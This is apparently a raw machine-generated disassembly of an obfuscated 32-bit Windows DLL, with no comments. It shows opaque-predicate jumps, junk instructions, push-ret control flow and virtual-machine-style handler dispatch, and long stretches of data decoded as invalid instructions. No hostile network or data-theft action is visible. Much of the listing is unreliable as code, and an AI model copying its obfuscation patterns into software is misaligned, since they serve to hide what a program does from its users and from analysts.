stc
jmp dword [esi]
test cl, cl
jb 0x10031609
shr ax, 0x40
jne 0x10020ed4
je 0x1002a8b4
dec esp
push 0x2f88a72e
js 0x10031ab5
mov ch, ch
jns 0x1002a8c1
invalid
jns 0x10031ab5
ret
mov ebx, dword [ebp - 4]
test ebx, ebx
jb 0x1005b38c
jne 0x1002b772
je 0x1002b59f
mov dh, 0x44
xor esp, edx
leave
push esi
mov cx, cx
call fcn.10021bfd
add esp, 4
jmp 0x10039b99
inc ebx
sbb ecx, dword [eax + 0x4468be4]
mov ebx, dword [esi + 8]
mov ebx, dword [ebp + ebx]
shr si, 0x40
lea esi, [esi + 0xc]
mov dh, dh
mov dword [ebx], eax
mov ax, ax
jmp dword [esi]
pop ecx
mov eax, dword gs:[esi + 4]
shl cl, 0x20
mov ebx, dword [esi + 8]
mov al, byte [ebp + eax]
shl si, 0x20
lea esi, [esi + 0xc]
xchg dx, ax
xchg dx, ax
mov byte [ebx], al
lea edx, [edx]
jmp dword [esi]
push esi
call fcn.1003e944
jne 0x1003f24c
je 0x1002babb
cmp esp, dword [esi + 0x378b840f]
add dword [eax], eax
je 0x1003f24c
invalid
mov ecx, 0x4468b51
mov si, si
mov eax, dword [ebp + eax]
mov ebx, dword [esi + 8]
mov ax, word [eax]
mov cl, cl
lea esi, [esi + 0xc]
or word [ebp + ebx], ax
jb 0x1005459b
mov cx, cx
jmp dword [esi]
sbb dl, 0xf
invalid
mov eax, dword [0x1008e030]
mov edx, dword [ebp - 0x14]
push str.GetSystemMetrics
jmp 0x1002d31f
push edx
call esi
test eax, eax
jb 0x10037211
je 0x10022d1f
jne 0x1002d335
outsb dx, byte [esi]
cmp byte [eax], ch
adc byte [eax], al
add bh, bh
rol byte [ebp - 0x187df040], 1
sahf
add byte [eax], al
push 0x1000
call eax
test eax, eax
jb 0x1003722b
je 0x100493c0
jne 0x1002d34e
pop ss
pop esi
push ebp
pop ebp
call fcn.10022d1b
xor al, 0xd4
ret 0x787a
mov cl, byte [ebp + 0xc]
mov dx, word [ebp + 0x10]
xchg bx, ax
xchg bx, ax
mov ah, ah
jmp 0x1002da95
push eax
shl edi, 0x20
push esi
mov bh, bh
mov byte [esi + 0xba], cl
shr si, 0x40
mov byte [esi + 0xbb], 0
mov word [esi + 0xbc], dx
call fcn.10047c07
mov dh, dh
push 0x1003fc75
ret
jmp 0x1002dade
push edx
jne 0x10020ec2
xchg edx, eax
jne 0x1004a663
je 0x1002dd7e
xor ebp, dword [ecx + 0x458bfe9e]
mov eax, dword [ebp + 8]
push 0x10
and eax, 0x24648d2f
add al, 0x8b
pop ebp
dec esp
mov edx, dword [esi + 4]
mov cl, byte [ebp + 0x3c]
lea esi, [esi + 8]
shl word [ebx + edx], cl
shl al, 0x20
jmp dword [esi]
jmp 0x1002e411
add byte [eax], al
shl bh, 0x20
jmp 0x1002e417
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret
sal dword [ebp - 0x40], cl
ljmp 0xf3f6
shr dx, 0x40
jno 0x10040a6d
jo 0x1002ed48
invalid
jo 0x10040a6d
xor byte [edx + 0xf], 0xb7
pop es
add ebx, eax
jmp fcn.1004dbd9
push eax
mov si, si
mov bh, bh
push esi
call fcn.10054fc4
fcomp dword [ebx + 0xf]
test eax, edx
sar bh, cl
dec dword [eax - 0x70fa8b01]
push cs
push ds
sar byte [ecx], cl
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov eax, dword [0x1008df84]
pop edi
or al, 2
jb 0x10025e68
pop esi
mov dword [0x1008df84], eax
push 0x10051b1b
ret
add esp, 8
pop edi
shl eax, 0x20
pop esi
pop ebx
jmp 0x10042842
add byte [edi + 0x5e], bl
jno 0x100279b0
jo 0x1002f1d7
nop
cpuid
ret 0x800f
jo 0x100279b0
and dl, 0x85
dec dword [edi]
and byte [ebx + 0xfffffa3], 0x85
add byte es:[eax], al
add byte [ebp + eax - 0x5a], dh
test edi, edi
jb 0x1002958a
jne 0x1002f213
je 0x1002f1f4
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
mov esi, 0xe8b6559
mov ecx, dword [esi]
mov cx, cx
push 0xa
jmp 0x1002f1fc
push ecx
call fcn.1003c459
add esp, 8
pop edi
pop esi
add byte [eax], al
add byte [edi + 0x5e], bl
pop ebp
xchg al, bh
xchg bh, al
ret
push 8
push 0x10080018
jmp 0x1002f21b
adc bl, ch
push edi
call fcn.1004bc79
add esp, 0xc
test al, al
jb 0x10029594
je 0x1002f256
jne 0x1002f23c
mov al, 0xc3
jecxz 0x1002f1c8
xchg esi, ebx
xchg ebx, esi
mov edx, dword [esi]
push 0xfa
shr ecx, 0x40
push edx
call fcn.10047c07
add esp, 8
push 8
push 0x10080010
push edi
call fcn.1004bc79
add esp, 0xc
test al, al
jb 0x1002959c
je 0x1003fc29
jne 0x1002f27f
jns 0x1002f219
out dx, eax
jmp 0x1002f206
mov eax, dword [esi]
push 0x32
js 0x1003fc17
jns 0x1002f28d
xchg dword [ecx + 0xf], ebx
mov dword [ecx + ecx + 0x18340001], eax
jns 0x1003fc17
xor al, 0x18
pop dword [esp - 4]
pop ds
and al, 0x5c
shr cx, 0x40
mov eax, dword [esi + 4]
movzx eax, word [ebp + eax]
clc
add esi, 8
shl eax, cl
add edi, eax
test ecx, 0x80000000
jb 0x100506ff
jmp 0x14497e14
mov bp, bp
jne 0x1003624f
je 0x1002f2fd
sbb dword [edi], esp
jno 0x10053f90
jo 0x1002f30a
ja 0x1002f374
inc edx
jo 0x1002f2cf
jo 0x10053f90
test ecx, 0x100
jb 0x1004e0c9
jne 0x10036d26
je 0x1002f35b
scasd eax, dword es:[edi]
xor al, 0x39
in eax, dx
cmp ebp, ebp
test ecx, 0x200
jb 0x10049546
call fcn.10051222
xor eax, 0x8026ff22
daa
js 0x10051f33
jns 0x1002f37f
jns 0x10051f33
xor byte [ecx + 0x66], dh
shl ebp, 0x20
push 0x1001f460
ret
add eax, 0x1d840f37
add byte [eax], al
add byte [ebp + 4], dh
invalid
lea esi, [esi + 0xc]
mov ebx, ebx
call fcn.1004ddee
sahf
cmp bl, byte [ebp + 0x3810029b]
add byte [eax], al
add byte [eax], bh
add byte [eax], al
add al, bl
adc al, 4
adc dl, ah
scasb al, byte es:[edi]
add edx, dword [eax]
stosd dword es:[edi], eax
add eax, 0x2ff9f10
adc bl, ch
pop ds
add eax, 0x2ff5910
adc al, bh
push ss
shl byte [ecx], cl
mov eax, dword [edi + 0xc1002d5]
add byte [eax], al
add byte [eax], bh
add byte [eax], al
add byte [ebp + 0x5010052a], ah
add byte [eax], al
add byte [edx + ecx*2], bl
add dl, byte [eax]
add byte [ecx], al
add byte [eax], bh
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
popal
add byte [eax + 0x3c], al
add byte [ecx], ah
add byte [eax], al
adc al, byte [eax]
add byte [eax], al
or ch, byte [ebp + 0x2aa51003]
add eax, 0x4c10
add byte [ecx], dl
sti
add al, 0x10
pop ss
outsd dx, dword [esi]
stosb byte es:[edi], al
add eax, 0x4410
add byte [eax + eax], al
add byte [ebx], cl
add al, 0x10
or eax, 0x38000000
add byte [eax], al
add byte [ebp + 0x5010052a], ah
add byte [eax], al
add byte [edx + ecx*2], bl
add dl, byte [eax]
add byte [ecx], al
add byte [eax], bh
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
popal
add byte [eax + 0x3c], al
add byte [ecx], ah
add byte [eax], al
adc al, byte [eax]
add byte [eax], al
or ch, byte [ebp - 0x2a78effd]
add dl, byte [eax]
or al, 0
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
insb byte es:[edi], dx
aad 4
adc byte [eax], ah
add byte [eax], al
add byte [ebp], al
add byte [eax], al
movsd dword es:[edi], dword [esi]
sub al, byte [0x4c10]
add byte [ecx], dl
sti
add al, 0x10
ljmp 0x5594:0x24648d7c
wait
fsub qword [ecx]
pop ds
jb 0x100502e7
shl bx, 0x20
jmp dword [esi]
invalid
pop edi
pop esi
xor ax, ax
jb 0x1004e578
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x20]
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp + 0x18]
push 0x1004f603
ret
shr ecx, 0x40
call fcn.1005b2f8
add si, 0x54be
sub si, 0x54be
add esp, 4
test edi, edi
jb 0x1002bad6
je 0x1003f65a
jne 0x100310b2
and eax, 0x6804c357
daa
test byte [ebx], 0x10
push 0x1003f627
ret
test dword [ebx - 0x30780679], eax
call fcn.10022897
invalid
xchg al, ch
xchg ch, al
lea ecx, [ebp - 0x9c]
jmp 0x10031902
push ecx
call eax
js 0x10048a24
jns 0x10031913
xlatb
sub al, 0x9b
lcall 0x171, 0xb890fbe
add byte [edi + 0x5e], bl
jns 0x10048a24
pop edi
pop esi
xchg esi, edi
xchg edi, esi
pop ebx
mov esp, ebp
mov esi, esi
pop ebp
ret
add eax, 0x2c
push 8
lea edx, [ebp - 0x30]
push eax
ja 0x1002dadd
jbe 0x10031acd
cld
stosb byte es:[edi], al
int 0x40
invalid
jbe 0x1002dadd
mov dword [ebp - 0x100], 0xe
add esp, 4
mov ecx, dword [esi]
jne 0x1003ced7
je 0x10031ebb
dec ecx
inc ebx
jge 0x10031e59
cwde
arpl word [edi], cx
test byte [esi], dl
mov al, 0
add dl, bl
mov ecx, 0x6b1e850f
je 0x1003ced7
fidivr dword [ecx + 0x6b1e850f]
invalid
lodsb al, byte [esi]
pop edi
mov byte [esi + 0xba], cl
mov ebp, ebp
xchg edi, esi
xchg esi, edi
ja 0x100275e6
jbe 0x10031fa2
retf
jbe 0x100275e6
xor eax, 0x1fb81f7
add byte [eax], al
add byte [edi], cl
test bh, bh
push 0x5750000
ror dword [esi - 0x7e5b8a07], cl
sti
add eax, dword [eax]
add byte [eax], al
je 0x100388b5
jne 0x10031fd0
popfd
sbb ebp, edx
stosd dword es:[edi], eax
test eax, esi
jae 0x10031fda
dec esp
ficom word [ebx*8 - 0x7cf0a6c1]
cmp dword [0x15340000], ebp
jae 0x10034d19
xor al, 0x15
inc ecx
xor esp, dword [esi - 9]
invalid
xchg esi, edi
xchg di, si
mov si, si
call fcn.1003c459
add esp, 8
mov ax, 0x14
pop esi
pop ebp
ret
outsd dx, dword [esi]
pushal
call fcn.1004f78f
xor eax, 0x92f9e811
invalid
jp 0x1003258d
mov dh, dh
push eax
pop eax
mov esi, esi
mov ebx, dword [esi + 8]
mov ecx, dword [esi + 4]
lea esi, [esi + 0xc]
shl word [ebp + ebx], cl
jmp dword [esi]
dec ebx
ja 0x1004d314
jbe 0x10032cf1
fisttp dword [ebx + 0x595dd484]
jbe 0x1004d314
xor eax, 0xc3368d40
inc eax
mov byte [ebx + 0x67300c1], al
jg 0x10032d1a
jge 0x10032ca7
popfd
popfd
jae 0x1002f1df
xor eax, 0xfc9842c
or byte [ecx], 0x23
add byte [eax], al
je 0x10023a42
test byte [ebx], ah
or eax, 0x575ffff
jne 0x10032d26
push 0x734e3c8e
jmp 0x100291c1
test dword [ebx], eax
jb 0x1003627e
jmp dword [esi]
je 0x10038058
jne 0x1003370b
rcl byte [ecx + ecx*4]
fucomi st(3)
mov ebx, ebx
jmp 0x1003370e
push eax
call fcn.1005b2f8
add esp, 4
pop edi
pop esi
shr ah, 0x40
pop ebx
mov esp, ebp
mov dx, dx
pop ebp
ret
xor eax, 0x2dac548
adc byte [eax], al
popal
add byte [eax + 0x48], al
add byte [ecx], ah
add byte [eax], al
cld
invalid
ja 0x10031f8c
mov bl, bl
jbe 0x10033b29
and al, 0xa2
jbe 0x10031f8c
and eax, 0x8768d8b
jmp dword [esi]
lea esi, [esi + 0xc]
test bx, 0x8062
and edi, edi
jno 0x10033d39
cpuid
dec edi
ret
jno 0x1004ccfa
mov edx, dword [esi + 8]
shl di, 0x20
mov eax, dword [esi + 4]
xchg ecx, ebp
xchg ebp, ecx
lea esi, [esi + 0xc]
add byte [ebx + edx], al
js 0x1004f73b
jns 0x100343df
aas
inc ebx
sal dword [edi + 0xf], 1
mov dword [esi - 0x4d], edx
add dword [eax], eax
jns 0x1004f73b
shr bl, 0x40
mov ebx, dword [esi + 8]
mov eax, dword [ebp + eax]
mov ebx, dword [ebp + ebx]
lea esi, [esi + 0xc]
xor dword [ebx], eax
jb 0x10025d7e
jmp dword [esi]
push 0x28
mov eax, dword [esi + 4]
mov eax, dword [ebp + eax]
mov ebx, dword [esi + 8]
mov al, byte [eax]
lea esi, [esi + 0xc]
xor byte [ebp + ebx], al
jb 0x10030307
jmp dword [esi]
call fcn.10025c06
add eax, 0x66f6ff65
mov esi, esi
call fcn.10041721
mov edi, eax
push 0
push esi
mov dword [ebp + 8], edi
call fcn.1005589e
add esp, 0x34
test di, di
jb 0x1001f297
je 0x1002baaa
mov dh, dh
jne 0x10034c66
aam 0xc9
adc al, 0xb1
cmp di, 0x18
je 0x1002baaa
jne 0x10034c79
push ebp
jno 0x10034c7c
push cs
mov esi, 0x14458b50
mov eax, dword [ebp + 0x14]
shr dx, 0x40
push edi
mov ecx, dword [eax]
push ecx
call fcn.1003c459
add esp, 8
mov ax, di
pop edi
mov bp, bp
pop esi
push 0x100517a3
ret
cmp ebx, 2
je 0x100388b5
jne 0x10034d29
mov bh, byte [ecx - 0x75]
dec ebp
sbb byte [ebx + 0x568d1445], cl
pop es
mov ecx, dword [ebp + 0x18]
mov eax, dword [ebp + 0x14]
lea edx, [esi + 7]
jmp 0x10034d33
push ecx
ja 0x100388a7
jbe 0x10034d41
nop
cpuid
ret
jbe 0x100388a7
xor al, 0xea
mov ebx, dword [ebp + ebx]
lea edi, [edi]
lea esi, [esi + 0xc]
and word [ebx], ax
jb 0x100307c5
jmp dword [esi]
invalid
test cx, cx
jb 0x1003a8a1
je 0x10021166
jne 0x10035d6e
sahf
les eax, [ecx + 0xef]
add byte [esi - 0x7f], ah
stc
add byte [ecx], al
sub edi, 0
cmp cx, 0x100
mov ebp, ebp
je 0x10021166
jne 0x10035d86
inc ecx
daa
frstor dword [esi - 0x7f]
stc
sub al, 1
cmp cx, 0x12c
mov ebx, ebx
je 0x10021166
shr di, 0x40
jne 0x10035d9b
mov edi, 0xc28166bb
insd dword es:[edi], dx
sub dx, 0x3e6d
add dx, 0x3e6d
sub dx, 0x3e6d
test bx, bx
jb 0x100515ec
xchg bx, cx
xchg cx, bx
je 0x10021149
jne 0x10035dbf
sub ch, al
adc eax, 0x40fb8166
add byte [edi], cl
xchg dword [edi - 0x4d], edi
invalid
cmp bx, 0x40
ja 0x10021149
jbe 0x10035dce
dec edx
or byte [ecx + 0xffffe3], al
add byte [edi], cl
sbb byte [ecx], 0xb8
add dword [eax], eax
and ebx, 0xffff
jb 0x100515f3
call fcn.10048370
ficom dword [ebx + 0x100210f5]
cmp al, 0
add byte [eax], al
push esp
add byte [eax], al
add ch, dh
adc byte [edx], al
adc byte [eax + eax], dl
add byte [eax + eax], bh
add byte [eax], al
movsd dword es:[edi], dword [esi]
sub al, byte [0x5010]
add ch, bh
stosb byte es:[edi], al
add eax, 0x667710
add byte [eax + eax], bh
add byte [eax], al
fcom dword [esp + eax]
adc byte [ebx], dl
or byte [eax + edx], al
sbb al, 0x4a
add dl, byte [eax]
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ah
add byte [eax], 0
add byte [eax], al
and dword [eax], eax
add byte [eax], bh
add byte [eax], al
add byte [edx - 0x2f], dh
add al, 0x10
movsd dword es:[edi], dword [esi]
sub al, byte [0x4c10]
add byte [ecx], dl
sti
add al, 0x10
invalid
xor eax, 0x4c4814f
add byte [eax], al
add byte [ecx], dh
dec dword [edi]
xor byte [esi], 0xe4
add byte [eax], al
mov cx, cx
shr ax, 0x40
shr di, 0x40
mov eax, dword [esi + 4]
mov ebx, dword [esi + 8]
imul byte [ebp + ebx]
lea esi, [esi + 0xc]
mov byte [ebp + ebx], al
jmp dword [esi]
mov ebx, dword [esi + 8]
mov eax, dword [eax]
mov dx, dx
call fcn.1004a4c1
xor eax, 0x558b665a
adc byte [edi], cl
test ebx, eax
cmp edi, edi
dec dword [ecx + 0xd0274d2]
stosb byte es:[edi], al
je 0x1002a631
add eax, 0x3c26ff5a
mov esi, 0x66dd8766
xchg ebx, ebp
mov esi, dword [esi + 4]
mov esi, dword [ebp + esi]
shr ax, 0x40
jno 0x10046d59
jo 0x10036a9b
aam 0xdf
jo 0x10046d59
fcmovb st(0), st(2)
js 0x10025d11
push edi
pop edi
jns 0x10036ab3
or ah, al
push 0x36
dec ecx
mov ecx, 0xf258890f
invalid
jns 0x10025d11
xor al, 0x64
ret
mov eax, dword [esi + 4]
mov eax, dword [ebp + eax]
push 0x1002b916
xor eax, 0x24648d37
add al, 0x66
shr ebp, 0x40
push edx
call fcn.1003c459
add esp, 0xc
pop edi
pop esi
pop ebx
push esi
pop esi
mov esp, ebp
pop ebp
push 0x10024717
ret
call fcn.1003e944
mov di, ax
test edi, 0x88c8a629
and edi, 0xffff
jb 0x10054496
or al, cl
jb 0x10025f89
mov ecx, dword [ebp + 0x14]
add edi, 2
shr si, 0x40
mov byte [edx + ecx], al
shl dx, 0x20
inc edx
cmp edx, 8
mov bp, bp
jb 0x10023a60
mov ebp, ebp
jae 0x10037126
cpuid
ret
mov eax, eax
mov eax, dword [ebp + 8]
inc edi
xor edx, edx
jb 0x10025fa4
lea esi, [edi + eax + 1]
mov al, byte [esi - 1]
and ebx, ebx
jae 0x10037142
dec edx
movsd dword es:[edi], dword [esi]
imul ecx, dword [edi], 0x1efb483
add al, bl
or bh, bh
adc eax, sym.imp.KERNEL32.dll_GetProcAddress
jae 0x100560fc
fmul dword [edx]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jb 0x10037f70
shr ebx, 0x40
ja 0x100212cc
jbe 0x10037167
invalid
jbe 0x100212cc
xor eax, 0x88008d1d
sahf
mov edx, 0x66000000
mov ebx, ebx
mov byte [esi + 0xbb], al
mov word [esi + 0xbc], di
shr bp, 0x40
call fcn.10030009
jmp loc.100507c8
ret
add byte [eax], ch
add esi, 0x1cad180e
sub esi, 0x1cad180e
push eax
pop eax
or dword [edi], ebx
jb 0x1003623c
jmp dword [esi]
cmp edi, esi
mov cx, cx
pop word [edi]
shr bp, 0x40
mov dword [ebp + 0x48], esp
call fcn.10025e62
fiadd dword [edi]
lea esp, [esp + 4]
mov ebx, dword [esi + 8]
jne 0x1002758f
je 0x10037254
nop
cpuid
ret 0x840f
je 0x1002758f
ret 0xe843
add eax, 0x34850fcf
in al, dx
invalid
mov ebx, 0x840f0aa7
outsd dx, dword [esi]
and al, byte [eax]
add byte [0xff0ff4d], ah
and eax, 0xff0ff4d
xchg edx, esp
xlatb
add byte [eax], al
ret
add al, 0x10
xor eax, 0xe8078f34
pop ebp
leave
add byte [eax], al
sbb cl, 0x1c
dec edx
add dl, byte [eax]
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ah
add byte [eax], 0
add byte [eax], al
and dword [eax], eax
add byte [esi], cl
add byte [eax], al
jb 0x10037f65
add al, 0x10
movsd dword es:[edi], dword [esi]
sub al, byte [0x4c10]
add byte [ecx], dl
sti
add al, 0x10
cld
push esi
adc dword [edx + eax], ebp
sub al, 2
adc byte [ecx], bh
add byte [eax], al
add byte [ecx], bh
add byte [eax], al
add byte [ebx], cl
add al, 0x10
sbb dword [ebx], eax
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
outsd dx, dword [esi]
stosb byte es:[edi], al
add eax, 0x4c10
add byte [eax + eax], cl
add byte [ebp + 0x5010052a], ah
add byte [eax], al
add byte [ecx + ebp + 0x401005], dl
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
sbb al, 0x4a
add dl, byte [eax]
add byte [eax], al
add byte [eax], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
popal
add byte [eax + 0x40], al
add byte [ecx], ah
add byte [eax], al
dec esi
add byte [eax], al
add byte [edx - 0x2f], dh
add al, 0x10
jae 0x10037fa5
add eax, 0xc10
add byte [eax], bh
add byte [eax], al
add byte [ebp - 0x26], cl
add dl, byte [eax]
sbb al, 0xaf
add al, 0x10
mov dh, 4
add edx, dword [eax]
and byte [eax + 0xf8f1003], al
mov byte [0x304b6c3], al
adc byte [edi + ebp*4], bl
add al, 0x10
fst dword [eax + 0x442ae8]
add byte [ecx + 0x8c4], al
add byte [edi + 0x5e], bl
call fcn.1003c459
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
shl bx, 0x20
mov edx, dword [esi]
push 0x24
lea edi, [edi]
push edx
call fcn.1003c459
add esp, 8
mov bp, bp
mov ax, ax
pop edi
pop esi
pop ebx
jmp fcn.100336c0
mov eax, dword [esi + 4]
mov eax, dword [ebp + eax]
and cl, cl
add esi, 8
shl eax, cl
add edi, eax
add al, 0
test ecx, 0x80000000
jb 0x10026767
js 0x10035cbc
jns 0x10038299
enter 0xffffffffffffe683, 0x23
and al, 0x28
jns 0x10035cbc
lea esi, [esi + 4]
mov dword [ebp + 0x48], esp
xchg ebp, eax
xchg ebp, eax
mov dword [ebp + 0x4c], ebx
push ecx
pop ecx
jmp dword [esi]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
add esi, 0x46659444
sub esi, 0x46659444
test ax, 0x53a7
xor eax, eax
jb 0x10040437
push edx
push eax
call fcn.10057996
add esp, 0xc
push esi
call fcn.1005b2f8
add esp, 4
xor ax, ax
jb 0x10036da6
pop edi
pop esi
pop ebx
mov esp, ebp
jne 0x1005f034
je 0x100388db
nop
cpuid
ret
je 0x1005f034
xor al, 0xf1
xchg edi, eax
inc eax
add al, 0x10
cmp al, 0
add byte [eax], al
inc eax
add byte [eax], al
add byte [edi + 0x40100440], dl
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
imul ebp, dword [0x4c1003], 0
add byte [edi - 0x56], ch
add eax, 0x4010
add byte [eax], al
add byte [eax], al
popfd
push eax
add dl, byte [eax]
dec eax
add byte [eax], al
add byte [eax + eax], cl
add byte [ebx + 0x201003d7], ah
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
xchg ebp, edx
add dl, byte [eax]
or byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
add byte [ecx + ebp + 0x401005], dl
add byte [eax], al
inc ebp
add byte [eax], al
add byte [ebx + 0x2d], ch
add edx, dword [eax]
push eax
add byte [eax], al
add byte [ebp + edx*8 + 4], ch
adc byte [eax], ah
add byte [eax], al
add byte [eax + eax], bh
add byte [eax], al
sbb al, 0x4a
add dl, byte [eax]
add byte [ecx], ah
add byte [eax], 0
add byte [eax], al
and dword [eax], eax
add byte [edx], bh
adc al, byte [eax]
add byte [eax], al
inc edx
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
and byte [eax - 0x7a8feffb], ch
add edx, dword [eax]
add dword [eax], eax
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
stosd dword es:[edi], eax
add eax, 0x3bb0210
adc bl, ch
pop ds
add eax, 0x3899510
adc byte [esi], ah
xchg ebp, edx
add dl, byte [eax]
or al, 0
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
sbb al, 0x4a
add dl, byte [eax]
add byte [ecx], al
cmp byte [eax], 0
add byte [eax], al
add byte [ecx], al
add byte [eax], al
invalid
cmp byte [ebx - 0xef6318], 0xff
add dword [eax], eax
mov dh, dh
xor eax, eax
jb 0x10055ec5
pop ebp
js 0x100455db
jns 0x10038c62
and al, 0xb6
and byte [ebp - 0x76f0bc59], dh
jae 0x10038c2f
jns 0x100455db
add byte [eax], al
add eax, 0xff406afd
adc eax, sym.imp.KERNEL32.dll_LocalAlloc
mov edi, eax
add cx, 0
test edi, edi
jb 0x1005bd4f
je 0x1005a31a
shl edi, 0x20
lea eax, [eax]
jne 0x10038c90
inc ebp
shl byte [ecx + 0x1008e6d8], 0x6a
add byte [eax + 0x6a006aed], cl
add ebp, dword [edx]
mov eax, dword [0x1008e6d8]
push 0
mov ch, ch
push 0
push 3
push 0
push 3
mov ecx, ecx
shl dx, 0x20
push 0xc0000000
shl bh, 0x20
lea ebx, [ebx]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1005a311
add esp, 4
pop esi
mov eax, 1
pop ebx
pop ebp
ret
test al, al
jb 0x1003cf6d
jne 0x1002b772
shr bp, 0x40
je 0x10039bb2
invalid
js 0x1002b727
jns 0x10039bbe
nop
cpuid
ret 0x890f
jns 0x1002b727
add eax, 0xc0896638
mov ecx, dword [ebp - 4]
push ebp
lcall 0x4c6, 0x8120e2c0
add byte [eax], al
add byte [ebp + 0x66ffff89], bl
cld
or al, 0xe2
mov bl, bl
js 0x1002085e
jns 0x10039e4e
nop
cpuid
ret
jns 0x1002085e
xchg cl, al
xchg al, cl
mov word [ebp - 0x18], 0
mov cx, word [edi]
mov bh, bh
mov word [ebp - 0xc], cx
mov dx, word [edi + 2]
mov word [ebp - 0xa], dx
mov ax, word [edi + 4]
xchg dh, ah
xchg ah, dh
jmp 0x1003a045
push ebx
mov word [ebp - 8], ax
mov cx, word [edi + 6]
jmp 0x100255b2
mov ax, word [ebp + eax]
lea esi, [esi + 0xc]
shl cx, 0x20
jmp fcn.10029e53
or esi, esi
add esp, 4
mov ecx, dword [ebp - 8]
jmp 0x1003a312
push ecx
call fcn.1005b2f8
mov ah, ah
mov edx, dword [ebp - 4]
push edx
call fcn.1005b2f8
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
jne 0x10037d95
je 0x1003a33f
push ecx
out dx, eax
je 0x10037d95
invalid
invalid